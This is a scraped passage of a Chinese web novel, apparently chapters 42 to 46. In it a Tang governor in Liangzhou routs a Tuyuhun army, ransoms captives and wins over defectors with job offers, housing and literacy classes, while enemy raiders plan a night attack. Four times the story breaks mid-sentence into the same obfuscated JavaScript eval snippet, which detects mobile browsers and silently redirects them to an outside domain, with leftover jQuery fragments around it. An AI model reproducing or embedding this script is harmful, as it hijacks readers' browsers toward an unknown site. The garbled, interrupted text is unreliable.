剧烈的**声中,弹体瞬间碎裂,里面包裹着的无数淬毒铁片和细小的钢珠,化作一道死亡的圆环,向着下方无情地罩去!
“噗噗噗噗噗!”
金属风暴席卷而过,帅旗下方负责指挥的副将和最精锐的旗手卫队,连惨叫都来不及发出,就在瞬间被打成了血肉模糊的筛子,连人带马瘫倒在地,抽搐着再无生息。
那面象征着军队灵魂的狼头大旗,被冲击波撕得粉碎,光秃秃的旗杆孤零零地立在那里,无比讽刺。
李丽质呆呆地看着这一切。
她看着那个被三根巨箭钉死的敌将,看着那片被**清空的指挥中心,看着那些被解救下来的百姓。
她终于明白了。
原来,这才是林浩口中那冰冷的“科学”。
在战场上,它就是最不讲道理的碾压,是更高层面的力量,对这个时代的无情**。
这,不是战争。
城外的吐谷浑前锋军彻底崩溃了。主将被秒杀,指挥系统被打掉,未知的恐惧像瘟疫一样蔓延开来。
他们开始混乱,开始溃散,开始没头苍蝇一样四处乱撞。
就在这时,林浩从旁边拿起一个用铁皮卷成的的喇叭,递到了嘴边。
城墙上的所有人都以为他要下令追击,或者发表一番振奋人心的演讲。
然而,林浩通过铁皮喇叭传出去的声音,却让所有人的下巴都掉到了地上。
他的声音不大,却在混乱的战场上清晰可闻,带着一种奇特的、不容置疑的平静。
“城下的吐谷浑朋友们,能听到吗?”
“这里是凉州,首先声明,我们不接受任何形式的人质威胁。”
“所有越过赤水河的敌人,都将被视为对我方公民生命财产安全的严重侵犯。”
“根据《大唐律疏议》以及《凉州紧急状态特别法案》,我们有权处置你们的全部财产。”
“包括但不限于,你们的战马、武器、盔甲,以及……你们本人。”
第42章:战俘回购,入住城池的诱惑
城外,吐谷浑的前锋军彻底乱了。
主将被一击秒杀,指挥系统被当场蒸发,这种来自未知的降维打击,瞬间摧毁了他们所有的战斗意志。
溃兵如同被捅了窝的蚂蚁,丢盔弃甲,无头苍蝇般四散奔逃。
城墙之上,唐军士兵们热血沸腾,纷纷请战。
“都督!追上去!将他们杀个片甲不留!”
“趁他病,要他命啊!”
“放我们出城吧!”
喊杀声此起彼伏,每个人都觉得这是千载难逢的痛打落水狗的机会。
然而,林浩的反应再次出乎所有人的意料。
“追什么追?”他瞥了一眼城下混乱的景象,语气平淡,“穷寇莫追,都督我可是读过兵法的。”
这敷衍的理由让所有请战的将士都噎了一下。
林浩没有理会他们,而是转向身后的工厂护卫队队长,眼中闪过一丝商人特有的精明:“带上你们的人,再从后勤处领上三百张大网和五百根套马索,出城。”
“啊?”护卫队长一愣,“都督,带这些东西……是做什么?”
“回收资产。”林浩的回答言简意赅,“记住,我们的目标不是**,是抓活的。人比马值钱,尽量别弄坏了,也别弄**。完好率将直接计入你们的绩效考核。”
护卫队长似懂非懂,但还是立刻立正敬礼:“是!”
城门再次缓缓打开。
四百名护卫队员,三人一组,两人持网,一人持索,以一种整齐而诡异的阵型冲了出去——就像是出门收割韭菜的流水线工人。
他们绕开了那些跑得快的,专门挑那些跑散了队、慌不择路的倒霉蛋下手。
“呼!”一张大网迎头罩下,一个正亡命飞奔的吐谷浑士兵瞬间被绊倒,裹成了个粽子。
不等他挣扎,一根涂了油的套马索精准地套住了他的手脚,三两下就捆了个结结实实。
整个过程,没有喊杀,没有血腥,只有效率。
这些护卫队员,平日里在流水线上练就了精准的配合,此刻用在战场上,简直是一群冷酷无情的捕鱼人,在打捞一群受了惊的沙丁鱼。
城墙上的唐军士兵们都看傻了。
他们眼睁睁地看着,不到半个时辰,护卫队就拖回来两百多个被捆得结结实实的俘虏。
这些人被排着队,被赶进了城内一处用栅栏临时圈起来的空地里。
就在这时,远方的地平线上,烟尘大作,旌旗蔽日。
吐谷浑的主力大军,到了。
为首的,正是吐谷浑可汗——伏允。他骑在一匹神骏的白马上,看着眼前溃不成军的前锋,以及城下那些正被押送进城的、自己麾下的士兵,脸色铁青得像草原上的冻土。
“谁能告诉本汗,这是怎么回事!”伏允的声音里压抑着雷霆之怒。
残存的溃兵连滚带爬地将刚才发生的一切禀报了一遍,着重渲染了唐军那种“妖术”的可怕。
伏允听完,勃然大怒,但怒的不是唐军,而是自己前锋的无能。
两三千骑兵,连城墙都没摸到,就被打得丢盔弃甲,还被人家活捉了两百多口!这简直是草原民族天大的笑话!
“废物!一群废物!”他抽出金刀,当场就砍了几个逃回来的百夫长,用血腥稳住了军心。
数万大军缓缓向前压进,黑压压的一片,散发着令人窒息的压迫感。
城墙上的气氛,瞬间凝重到了极点。
就在伏允准备下令,用绝对的数量优势踏平这座敢于羞辱他的城池时,凉州城头上,发生了令他永生难忘的一幕。
几个工人吭哧吭哧地,将一块足有门板大的黑板,用绳索吊上了城头,稳稳地固定在城垛旁。
一个穿着长衫的文士,拿着一根炭笔,在上面一笔一划地写起字来。
伏允和他身后的将领们都愣住了,这是在做什么?写降书吗?
很快,黑板上的大字清晰可辨。
【凉州战俘与战利品回购计划(试行版)
一、人员赎回价目表:
普通吐谷浑士兵(活体,完好度90%以上):每人可由其所属部落用十只成年肥羊或等价物资赎回。
吐谷浑百夫长……】
吐谷浑的阵营中,陷入了一片诡异的寂静。
短暂的死寂之后,爆发出了一阵惊天动地的哄笑声。
“哈哈哈哈!唐人疯了!他们在干什么?卖咱们的人?”
“十只羊换一个?我阿爸部落里最好的种马也才这个价!”
伏允的脸由青转红,再由红转紫,他感觉自己的血液直冲头顶。这已经不是羞辱了,这是把他,把整个吐谷浑,当成了一个彻头彻尾的笑话!
“攻城!”他几乎是从牙缝里挤出这两个字,“给本汗踏平这座城!城中之人,无论男女老幼,一个不留!”
“呜——”苍凉的号角声响起,吐谷浑大军潮水般即将发动总攻。
就在这千钧一发之际,城头上,那个年轻都督又拿起了他那个铁皮喇叭。
“城下的吐谷浑朋友们,不要激动,买卖不成仁义在嘛。”林浩的声音依旧平静,甚至带着点商量的口吻。
“考虑到大家远来是客,第一次合作,我方决定推出一项优惠活动。”
一名工人迅速地在黑板的最下方,又写下了一行大字。
“补充条款:凡主动脱离叛军阵营,向我方投诚者,其个人赎回价格,按原价八折计算。同时,可获得凉州临时居住证,并享受与我凉州公民同等的劳动保护与工作机会。”
吐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391610|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谷浑的阵营中,一个名为图鲁的小部落首领,此刻心中掀起了惊涛骇浪。
他的部落,三天前还是这片草原上自由的风。而现在,他们是伏允刀下的狗。
伏允吞并了他们,将他们部落的图腾踩在脚下,强迫他们戴上属于吐谷浑王帐的狼头徽记,推到阵前充当炮灰。
他的目光,越过前方黑压压的人头,死死地盯着凉州城墙上那块黑板。
十只羊,换一条命。
这个价格,一开始让他觉得荒谬可笑,但现在,这行字却烙在他的心上,烧得他浑身发烫。
他厌倦了。
厌倦了追逐着水草的迁徙,厌倦了在寒冷的冬夜里,听着帐外风雪的呼啸和族人病弱的咳嗽声。
厌倦了每一次天灾过后,都要清点那些饿死冻死的牛羊和孩子。
城池。
那坚固的、能抵御风雪的墙壁。
那高高耸立的、日夜不停冒着黑烟的烟囱,在图鲁眼中,那不是污染,那是温暖,是食物,是烧得滚烫的热水。
他见过那些从凉州逃出来的商队,他们抱怨着城里的规矩多,空气里都是呛人的煤烟味。
但在图鲁听来,那每一个字,都充满了诱惑。
规矩,意味着秩序。
煤烟,意味着烧不完的煤。
而那最后一行字……
“享受与我凉州公民同等的劳动保护与工作机会。”
工作。
这个词劈开了图鲁被仇恨和绝望包裹的脑子。
在草原上,只有掠夺和杀戮,没有“工作”。你的死活,全看天意和自己的刀够不够快。
可现在,有人告诉你,你可以用双手,去换取一个安稳的明天。
图鲁转头看向自己身后的族人,不过两百骑,那是黑山部落最后的青壮。
他再看向伏允高高在上的王帐,看到了那把**了无数同胞的金刀。
为他卖命?然后让自己的族人,永远在风雪里挣扎,或者干脆死在这片毫无意义的战场上?
他的部落,有三十几个人在刚才的混乱中被抓了。
按照价目表,他需要付出三百多只羊才能把人赎回来,这几乎是他部落一半的家当。
可现在……八折?然后还能入住凉州?
他又看了看伏允那把还在滴血的金刀,再看了看自己身边那些同样满脸惊恐和不甘的族人。
一个疯狂的念头,在他的脑海里燎原开来。
就在这时,伏允的怒吼声穿透了整个战场:“谁敢背叛本汗,先尝尝这把金刀的滋味!”
图鲁的手握紧了缰绳,眼中闪过一丝决绝。
他知道,这一刻的选择,将决定黑山部落的生死存亡。
是继续做伏允的炮灰,还是……赌一把那座城墙后面的承诺?
第43章:凉州第一位外籍员工
号角声穿云裂石,伏允的金刀高高举起,数万骑兵整齐列阵,黑压压的一片如乌云压境。
“攻城!踏平凉州!”伏允的怒吼声传遍整个战场。
就在前锋骑兵准备策马冲锋的瞬间,吐谷浑大军的右翼,突然爆发出一阵震天的呐喊。
“黑山鹰永不折翅!”
图鲁高举着一面绣着金色雄鹰的黑色大旗,猛然调转马头,带着麾下两百骑兵,径直冲向了侧翼一个正在整队的部落方阵。
那是伏允最信任的嫡系——白狼部的阵营。
“什么?!”白狼部的首领根本没料到会有人在这种时候从背后捅刀子,慌忙想要组织防御,但为时已晚。
图鲁的骑兵如一把利刃,瞬间撕开了白狼部的侧翼,马蹄践踏,刀光闪烁,原本严整的方阵顷刻间土崩瓦解。
“黑山部!你们疯了吗!”白狼部首领一边挥刀抵抗,一边怒吼。
图鲁策马冲到他面前,弯刀横扫而过:“为了族人活下去!”
血光飞溅,白狼部首领应声而倒。
整个吐谷浑大军都愣住了。
这是什么情况?自己人打自己人?
伏允气得浑身发抖,金刀指向图鲁的方向:“叛徒!给本汗杀了他们!”
亲卫队立刻调转马头,朝着图鲁的方向杀来。
城墙上,林浩举着望远镜,看着这场突如其来的内乱,笑着说道:“果然,没有什么比生存更能打动人心的了。”
他放下望远镜,对身旁的马周下令,“通知护卫队,准备接收新员工。”
“新员工?”马周愣了一下。
“对,新员工。”林浩的语气轻松,“这个人不错,有魄力,有决断力,正是我们凉州需要的管理人才。”
城门再次轰隆隆地打开,四百名护卫队员快步走出,但他们并没有参战,而是在城门前列成一个整齐的方阵。
几名队员举起铁皮喇叭,开始循环播放:“欢迎黑山部落的勇士们入职凉州!我们这里有五险,包吃包住,晋升渠道透明!”
“还有年终奖和带薪休假!”
“表现优秀者可申请积分入籍,子女享受义务教育!”
城墙上的唐军士兵听得一脸懵逼。
这都什么跟什么?打仗还能这么打的吗?
战场上,图鲁的部队没有丝毫恋战,径直朝着凉州城门的方向奔来。
伏允的追兵紧随其后,眼看就要追上。
但当他们距离城墙还有一箭之地时,想起了刚才那三根恐怖的钢铁巨箭,不约而同地勒住了缰绳。
谁也不敢再往前一步。
图鲁带着残余的一百多名骑兵冲到城门前,所有人齐刷刷地翻身下马,将武器整整齐齐地摆放在地上。
“凉州都督在上!”图鲁单膝跪地,“黑山部落首领图鲁愿意归降!”
城墙上,林浩满意地点点头,拿起铁皮喇叭:“图鲁首领,欢迎加入凉州大家庭!现在请配合我方工作人员进行入职登记!”
护卫队员们立刻上前,拿出一沓沓表格开始登记。
“姓名?年龄?特长?有没有传染病史?”
“会不会放羊?会不会织毛毯?识不识字?”
“家里还有多少人?愿不愿意全家迁到凉州?”
图鲁被这一连串的问题问得有点晕,但还是老老实实地配合回答。
城外,伏允看着这场荒诞至极的“招聘会”,气得金刀都握不稳了。
他环视左右,发现不少部落首领的脸上都露出了若有所思的神情。
这些人,也动摇了!
“谁还敢叛变,下场和白狼部一样!”伏允举起那把还在滴血的金刀,威胁意味十分明显。
但他的威胁显然没有起到预期的效果。反而让更多人开始琢磨城墙上那块黑板上的条款。
凉州城门前,图鲁已经完成了基本的登记手续,一名工作人员递给他一个木牌。
“这是您的临时工牌,编号凉外001,恭喜您成为我们凉州第一位外籍员工!”
图鲁接过木牌,上面写着密密麻麻的汉字,虽然他看不太懂,但那种被正式接纳的感觉让他心头一热。
“现在,请跟我们去员工宿舍区报到。那里有热水,有干净的被褥,还有今天的晚餐。”
“晚餐?”图鲁瞪大了眼睛。
“羊肉泡馍,管饱。”工作人员笑着回答。
图鲁的部下们听到“羊肉泡馍”四个字,口水都快流出来了。他们已经好几天没好好吃过一顿饭了。
就在图鲁等人被带往临时安置区的时候,林浩又拿起了那个铁皮喇叭。
“城外的各位朋友,时间有限,优惠活动即将结束!”
“现在投诚的,除了享受八折优惠外,前一百名还可以获得凉州特产礼品包一份!”
“礼品包内含:肥皂一块、毛巾一条、搪瓷缸一个,以及神秘小礼品一份!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391611|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吐谷浑阵营中,又有几个小部落首领开始蠢蠢欲动。
伏允彻底意识到,情况已经完全失控了。
他本来想用绝对的武力优势一举拿下凉州,现在却变成了一场荒谬的“人才争夺战”。
更要命的是,林浩的那套说辞居然真的在动摇他的军心。
“鸣金收兵!”伏允咬牙下令。
苍凉的收兵号角响起,数万大军缓缓后撤。
但他们没有走远,只是在十里外重新安营,远远地监视着凉州城。
城墙上,马周长出了一口气:“都督,他们终于退了。”
“退了?”林浩摇摇头,“马大人,这才刚刚开始呢。”
他指了指远处吐谷浑的营地:“你看那些营火,分布得很散,说明各部落之间已经开始有隔阂了。伏允现在最担心的不是攻城,而是如何稳住军心。”
说着,林浩转身走下城墙:“走,我们去看看新员工的入职情况。”
临时俘虏营里,气氛有些微妙。
一边是两百多个垂头丧气、等待被赎回的吐谷浑俘虏,一边是刚刚“入职”的图鲁等人,正在排队领取生活用品。
图鲁拿着崭新的肥皂,闻了闻,那种淡淡的香味让他陶醉。
“这东西真神奇,用它洗过的衣服居然不臭了。”
旁边一个俘虏羡慕地看着他:“图鲁,你这是投靠了个什么地方?怎么连肥皂都有?”
“这叫现代化生活。”图鲁得意地炫耀着,“听说明天还要给我们分配工作,干得好的话,月底还有奖金。”
“奖金是什么?”
“就是额外的钱,可以买东西的那种。”
俘虏们面面相觑,这种生活方式完全超出了他们的理解范围。
就在这时,林浩出现在俘虏营的门口,手里拿着一份厚厚的文件。
“图鲁,过来一下。”
图鲁立刻小跑过去,恭敬地行礼:“都督!”
林浩递给他那份文件:“这是《凉州外籍劳工雇佣合同及积分入籍管理办法(草案)》,你先看看,有什么不明白的可以问。”
图鲁接过文件,看着上面密密麻麻的条款,眼珠子都快瞪出来了。
“都督,这上面写的都是真的吗?工作满三年可以转为正式居民?子女可以免费上学?生病了还有医疗保障?”
“当然是真的。”林浅笑道,“不过有个前提,你得先帮我做一件事。”
第44章:这不叫策反,这叫文化输出!
“我这个人不喜欢拐弯抹角。”
林浩将一份手写的稿子和一张结构图递给图鲁,“帮我个忙,不是让你去拼命,而是担任''凉州之声''广播台的第一位吐谷浑语播音员。”
图鲁接过稿子,低头一看,整个人愣住了。
上面没有一句劝降的话,没有什么“天网恢恢疏而不漏”的大道理,甚至连“放下武器投靠光明”这种套话都没有。
全是关于凉州工厂的招工简章。
密密麻麻的汉字和图画,详细描述了钢铁厂的工种分类、纺织厂的工作环境、月薪待遇以及晋升渠道。
“都督,这…这是要我对着外面那些人念吗?”
图鲁抬起头,黝黑的脸上写满了困惑。
在草原上长大的他,从小到大听到的都是厮杀声、马蹄声,什么时候见过这种东西?
“对,就是念给他们听。记住,语调要自然,不要像背书。”
林浩打了个哈欠,“我已经让人准备好设备了。”
城墙上,几个护卫队员正汗流浃背地将一个由铁皮和杠杆组成的巨大喇叭推上城头。
这玩意儿足足有一人多高,喇叭口张得比脸盆还大,整体造型古怪得像是从天外飞来的妖怪。
“都督,这东西真的能传那么远?”
马周盯着那个古怪的铁家伙,半信半疑。
“声音传播的原理很简单,就是空气震动。这个扩音器能把声音放大数十倍,十里外听得清清楚楚。”
林浩随手指了指远处黑压压的吐谷浑营地,“算算时间,他们现在正是最饿最累的时候,最容易被我们的条件打动。”
图鲁拿着稿子走到巨大喇叭前,深深吸了一口气。
他从来没干过这种事,心里七上八下的。
“放轻松,就像跟老朋友聊天一样。”
林浩在一旁鼓励道。
图鲁点点头,清了清嗓子,用他草原汉子特有的浑厚嗓音,对着喇叭开始广播。
“这里是凉州人力资源中心,下面播送一则招聘启事…”
声音通过那个古怪的铁喇叭,瞬间放大了数十倍,如雷鸣般传向远处的吐谷浑大营。
十里外,正在围着篝火啃干肉的吐谷浑士兵们齐刷刷抬起头。
什么声音?
“钢铁厂现招收炼钢工人五百名,包吃包住,工作采用三班倒制,每班四个时辰,月休四天。”
图鲁的声音继续传来,每一个字都清晰得像敲在耳膜上。
“按月发放粮票和盐票,绝不拖欠。工伤全额报销,提供医疗保障。”
篝火旁,一个年轻的吐谷浑士兵愣愣地咀嚼着嘴里的干肉。
这肉硬得像石头,根本咬不动,还带着一股馊味。
他们已经三天没吃过一顿饱饭了。
“纺织厂招收女工三百名,工作轻松,环境温暖。每月工钱足够养活一家四口。”
“建筑队招收壮工一千名,负责修建道路和房屋,学会技术后可升任小队长,工钱加倍。”
图鲁越念越顺畅,那些稿子上的条件,连他自己听了都心动。
吐谷浑大营里,越来越多的士兵放下了手中的武器和干粮,静静地听着那个声音。
他们对比着自己顿顿不饱、随时可能当炮灰的处境,脸上的表情开始发生微妙的变化。
有人皱起了眉头,有人若有所思,还有人偷偷吞了吞口水。
伏允坐在中军大帐里,听着那个该死的声音,气得浑身发抖。
“给我射死他!”
他猛地拍案而起,对着外面的亲卫怒吼。
几十个弓箭手立刻拉弓上弦,朝着城头的方向射出一阵箭雨。
可是距离太远了,那些箭矢飞到一半就失去了力道,稀稀拉拉地落在城下,根本够不着城墙。
“一群废物!”
伏允气得七窍生烟,又派了几个嗓门大的亲卫去对骂,试图压过那个讨厌的声音。
可是他们的嗓门在巨大喇叭的扩音效果下,简直就像蚊子叫一样微不足道。
城头上,图鲁的广播还在继续。
“食堂每日三餐,早餐有粥有饼,午餐有肉有菜,晚餐有汤有面。绝不让任何一个工人饿着肚子干活。”
“住宿统一安排,房间干净整洁,冬暖夏凉,每人一张床,一个柜子,还有洗漱用品。”
听到这里,那些围着篝火的吐谷浑士兵们彻底坐不住了。
他们看看自己破烂的帐篷,再看看手里硬得像石头的干肉,一时间五味杂陈。
就在这时,城内的临时安置
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391612|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
区里,李丽质正带着几十个女工,为昨天抓回来的那两百多个吐谷浑俘虏清洗伤口、更换绷带。
“轻点,这里化脓了。”
她亲手为一个被俘的吐谷浑百夫长处理着腿上的旧伤,动作轻柔而专业。
那个百夫长起初不屑一顾,觉得一个娇滴滴的汉人女子能懂什么医术。
可是当李丽质用酒精清洗他的伤口,然后细心地涂上药膏、包扎绷带时,他沉默了。
这种温和的治疗方式,和草原上那种粗暴的“盐水冲洗”完全不同。
不但不疼,反而有种说不出的舒适感。
“好了,记住不要沾水,三天换一次药。”
李丽质站起身,又递给他一碗热腾腾的羊肉汤。
“喝吧,补充体力。”
百夫长接过汤碗,汤的香味直钻鼻孔。
他小心翼翼地抿了一口,瞬间瞪大了双眼。
这汤…这汤怎么这么香?
肉炖得软烂,汤汁鲜美,还撒了一些他叫不出名字的香料。
这哪里是给俘虏喝的,简直比他们首领喝的还要好!
城头上,图鲁的广播进入了最后阶段。
“最后,我图鲁用自己的亲身经历告诉大家。”
他的声音变得更加真诚,带着一种发自内心的感慨。
“昨天,我还是伏允手下的一把刀,今天,我已经是凉州钢铁厂的预备工段长。我的族人,晚上能睡上安稳觉了。”
这句话如雷击一般,瞬间传遍了整个吐谷浑大营。
无数士兵面面相觑,一种名为“比较”的情绪在他们心中疯狂蔓延。
同样是草原上的部落,凭什么图鲁的族人能过上那种生活?
而他们却要在这里受冻挨饿,随时准备去送死?
广播结束了,吐谷浑大营并没有立刻哗变。
但是一种沉默的、比任何武器都可怕的“瘟疫”,已经在数万士兵中开始传播。
伏允站在中军帐前,看着手下那些若有所思的脸孔,心中涌起一阵深深的不安。
“传令下去,全军后撤三十里,重新扎营。”
伏允咬了咬牙,做出了一个出乎所有人意料的决定。
“另外,挑选五百最精锐的金狼卫,今夜子时出发,去执行特殊任务。”
第45章:最狠的刀,是递到敌人手里的面包
伏允的中军大帐里,灯火被风吹得忽明忽暗,帐内一片死寂,只有牛油蜡烛燃烧时发出的轻微“噼啪”声。
一个高大的身影跪在帐中,身形如山,气息沉稳,正是金狼卫统领,库查。
“库查。”
伏允的声音又低又沉,带着一股压抑不住的暴戾。
库查抬起头,那张被风霜刻满痕迹的脸上没有任何多余的表情,只是安静地等着命令。
“带上五百金狼卫,今晚,潜入凉州。”
伏允背着手来回踱步,“别去碰那该死的城墙,那玩意儿邪门。硬碰硬,是蠢货才干的事。”
“目标是?”库查的声音像两块石头在摩擦。
“城外那些冒黑烟的房子,还有他们那个什么‘科学院’!”伏允猛地停步,转身盯着库查,“我算是想明白了,那才是凉州真正的根!那些**的妖术,都是从那里造出来的!”
库查没有说话,但攥着刀柄的手指用力到骨节凸起。那三根野蛮贯穿了主将和战马的巨箭,是他脑中挥之不去的景象。
“能烧的,全都烧掉。能砸的,全都砸烂。”
伏允走到库查面前,声音压得更低,“但最要紧的……是抓活的。把那些会造武器的工匠给我带回来。我要他们的脑子,也要他们的手。”
“遵命。”
库查俯身领命,随后起身,没有半点拖泥带水,身影迅速消失在帐外的风雪里。
半个时辰后,五百名金狼卫像一群无声的影子,借着夜色,沿着一条干涸的河床,悄无声息地朝着远方那座孤城摸去。
与此同时,凉州城内,却是一番截然不同的光景。
城防似乎没有丝毫加强,临时俘虏营和图鲁部落的安置区里,反而燃起了更多的篝火,人声鼎沸,将半边夜空都映得一片暖红。
马周在城头上急得团团转,手都快搓掉一层皮了。
“都督,都督!敌军主力就在外面看着呢,咱们……咱们这又是篝火又是喧哗的,生怕他们看不见吗?”
林浩打了个哈欠,揉了揉眼睛,一副没睡醒的模样:“马大人,稍安勿躁。紧张又不能让伏允退兵。正好,趁着大家都有空,我宣布个事。”
他顿了顿,环视了一圈同样满脸不解的亲卫。
“凉州第一届扫盲夜校,暨技术工人岗前培训班,现在,正式开课!”
“什……什么?”马周怀疑自己听错了,整个人都僵住了,“都督!火烧眉毛了!您要……办、办夜校?”
“时机正好。”林浩从怀里掏出一叠画满了各种图画的册子,不由分说地塞到马周手里,“校长就委屈马大人您兼任了。至于主讲老师嘛……”
他的视线越过人群,落在了不远处正指挥族人挖地窝子的图鲁身上。
“图鲁!”
图鲁听到喊声,立刻放下手里的木锹,三步并作两步跑了过来,动作利落。
“都督,您找我?”
“给你个任务。”林浩将另一本一模一样的图册递给他,“去,当老师。教你的同胞识字,还有……一些能活命的小技巧。”
图鲁接过图册,翻开一看,整个人都愣住了。
册子上全是简单易懂的图画,几乎没有字。一幅图是如何用三块石头搭一个最省柴火的灶;下一幅图,画着如何辨认两种常见的有毒野菜;再下一幅,是演示如何用一块灰色的“肥皂”搓洗双手;甚至还有“1”、“2”、“3”这些古怪符号的写法和笔顺。
他这个草原部落的首领,哪见过这种“书”。
图鲁抬起头,看向林浩,眼神里是掩饰不住的审视和困惑:“都督,您让我教他们这些……对您有什么好处?”
林浩笑了:“好处?好处就是你们学会了,能活得更好,病得更少,将来才能给我创造更多的价值。就这么简单,直接。”
这个理由太过赤裸,反而让图鲁一时不知道该怎么接话。他捏着手里的图册,只觉得这薄薄几页纸,烫手得很。
“都督!这简直是胡闹!荒唐透顶!”马周在一旁终于忍不住了。
林浩瞥了他一眼,慢悠悠地问:“马大人,你跟我说说,什么叫‘教化’?”
“教化……自然是宣扬圣人之道,以德服人,令其心悦诚服……”马周被问得一愣,下意识地背起了书本。
“说得不错。”林浩点点头,“我现在,就在以德服人。只不过我的‘德’,是让他们吃饱饭,穿暖衣,活得像个人样。去吧,别耽误了开课。”
不到一个时辰,俘虏营的空地上就用几块木板搭起了一个简陋的讲台。
两百多个垂头丧气的吐谷浑俘虏,加上图鲁带来的一百多号族人,黑压压地围坐在一起。所有人的脸上都写满了迷茫、警惕,还有一丝麻木。
图鲁拿着那本古怪的图册走上讲台,台下几百双眼睛齐刷刷地盯着他,有同情,有鄙夷,也有不解。他这个刚投降的“叛徒”,此刻的处境无比尴尬。
他清了清嗓子,用粗粝而洪亮的吐谷浑语开了口。
“兄弟们,我知道你们在想什么。”
他的第一句话,就像一块石头砸进水里,让原本有些骚动的人群瞬间安静了下来。
“你们在想,我图鲁是不是做了唐人的哈巴狗。在想我为什么要站在这里,跟你们说这些废话。”
图鲁的视线扫过一张张熟悉的、或不熟悉的脸,声音里多了一丝自嘲。
“我告诉你们为什么。因为昨天晚上,我的族人,睡在了能挡风的屋子里!他们喝上了有肉的汤,领到了没有虱子的干净衣服!而你们呢?”
他的声音陡然拔高。
“你们还在啃着能把牙硌掉的发霉肉干,睡在风一吹就透心凉的破帐篷里!伏允可汗是草原的雄鹰,没错!可他管过你们的死活吗?他只会把我们这些小部落的人,像赶羊一样赶到最前面去送死!**,连
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391613|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
块埋骨头的地都没有!”
图鲁举起手里的图册,像是举着一面旗帜。
“现在,凉州的林都督,给了我们另一条路!他不要我们去送死,他要我们学怎么活下去!学怎么让我们的娃娃,别在冬天的夜里活活冻死!学怎么让我们的女人,能吃上一口热乎的!”
他的话没有任何花哨的词,却像一把把小刀,扎在每个人的心口上。因为他说的,是在场所有人都经历过的苦难和绝望。
人群中,一个断了胳膊的俘虏突然用好手捂住了脸,肩膀剧烈地抖动起来,压抑的哭声从指缝里漏了出来。他的两个儿子,就是上个冬天没熬过去。
马周站在人群外,看着那些吐谷浑人眼中渐渐燃起的、名为“希望”的火焰,内心受到了前所未有的冲击。
他终于有些明白了。原来,这才是真正的“教化”。不是空洞的道德文章,而是用最实在的生存渴望,去瓦解他们心中顽固的壁垒。
李丽质的医疗队也没闲着。她们在夜校旁支起帐篷,点亮马灯,为所有愿意过来的人免费处理伤口。
“别动,这里烂了,得把腐肉清掉。”
她正小心翼翼地为一个被俘的吐谷浑百夫长处理腿上的旧伤。那百夫长开始还一脸不屑,可当李丽质用镊子夹着棉球,蘸着刺鼻的酒液擦过伤口,带来一阵清凉的刺痛,再涂上带着草药清香的药膏时,他紧绷的肌肉不自觉地松弛了下来。
这种被一个漂亮的汉人贵族女子如此细心对待的感觉,他这辈子都没体验过。
“好了。记住,这三天别碰水。这包是草药,回去找人帮你煎了喝。”李丽-质处理完伤口,又从旁边的篮子里递给他一小包用油纸包好的药材。
百夫长接过药包,温热的触感从指尖传来。他看着眼前这个女子,嘴唇翕动了几下,最终从喉咙里挤出一个生硬的词。
“……谢。”
城外,干涸的河道里。
库查的侦察兵已经摸到了凉州城下,带回的情报让他大感意外。
“统领,城墙上只有零星几个打瞌睡的哨兵。但城里……城里灯火通明,闹哄哄的,像是在过节!好多人聚在一起,不知道在干什么!”
库查蹲在黑暗里,一种极度的困惑涌上心头。
空城计?还是那个姓林的都督,真的狂妄到了这个地步?
就在他迟疑不定时,另一名侦察兵如猎豹般悄无声息地窜了回来,脸上是压抑不住的狂喜。
“统领!找到了!天大的好机会!”
“讲!”
“给工厂供水的那条引水渠!尽头的铁栅栏烂穿了一个洞,能过人!我们能从那里钻进去,神不知鬼不觉!”
黑暗中,库查没有笑,只是缓缓拔出了腰间的弯刀。
他朝着远处那片喧闹的灯火偏了偏头,对身后的部下做了一个简单而冷酷的抹脖子手势。
“林浩,你的好运,没了。”
第46章:最好的猎人,会给猎物指一条死路
在吐谷浑大营边缘,一顶破旧的黑色毡帐在寒风中摇摇欲坠。
帐内,一个脸上满是风霜的中年汉子正来回踱步。
